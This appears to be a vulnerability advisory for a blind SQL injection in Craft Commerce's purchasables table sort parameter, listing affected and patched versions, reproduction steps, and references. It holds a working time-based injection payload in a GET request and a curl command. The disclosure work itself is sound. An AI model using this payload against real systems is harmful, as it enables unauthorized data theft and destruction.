نسخههای متأثر
- نسخههای متأثر
- >= 4.0.0, <= 4.10.1
- نسخهٔ اصلاحشده
- 4.10.2
- نسخههای متأثر
- >= 5.0.0, <= 5.5.2
- نسخهٔ اصلاحشده
- 5.5.3
بهرهبرداری
شرح آسیبپذیری
Summary
Craft Commerce is vulnerable to SQL Injection in the purchasables table endpoint. The sort parameter is split by | and the first part (column name) is passed directly as an array key to orderBy() without whitelist validation. Yii2's query builder does NOT escape array keys, allowing an authenticated attacker to inject arbitrary SQL into the ORDER BY clause.
PoC
Required Permissions
General
Access the control panel
Access Craft Commerce
Craft Commerce
Manage orders
Edit orders
Steps to reproduce
Log in to the control panel
Navigate to Commerce > Orders > Create a new order
Click on "Add a line item" to show the purchasables table
Intercept the AJAX request and modify the
sortparameter as follows:
GET /index.php?p=admin/actions/commerce/orders/purchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(2))|asc
Observe the delay in the response, confirming the injection
Alternatively, you can use the following curl (bash syntax) command (replace cookie and target domain as needed):
curl --path-as-is -k -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0' -H $'Accept: application/json, text/plain, */*' -b $'<Cookie>' $'http://craft.local/index.php?p=admin%2Factions%2Fcommerce%2Forders%2Fpurchasables-table&siteId=1&sort=id,(SELECT%20SLEEP(5))|asc'
Impact
With this Blind SQLi, an attacker can:
Exfiltrate data character-by-character (same technique as GHSA-pmgj-gmm4-jh6j).
Modify or destroy data (drop tables, update records, alter schema).
پیوندها
- https://github.com/advisories/GHSA-j3x5-mghf-xvfw
- https://github.com/craftcms/commerce
- https://github.com/craftcms/commerce/commit/b231b920b73db023e81e5b261b894d73e865c276
- https://github.com/craftcms/commerce/commit/e4e0f4107cd895d29290523637f077fe280407b1
- https://github.com/craftcms/commerce/security/advisories/GHSA-j3x5-mghf-xvfw
- https://nvd.nist.gov/vuln/detail/CVE-2026-29172
گزارشدهندگان
- mHe4am

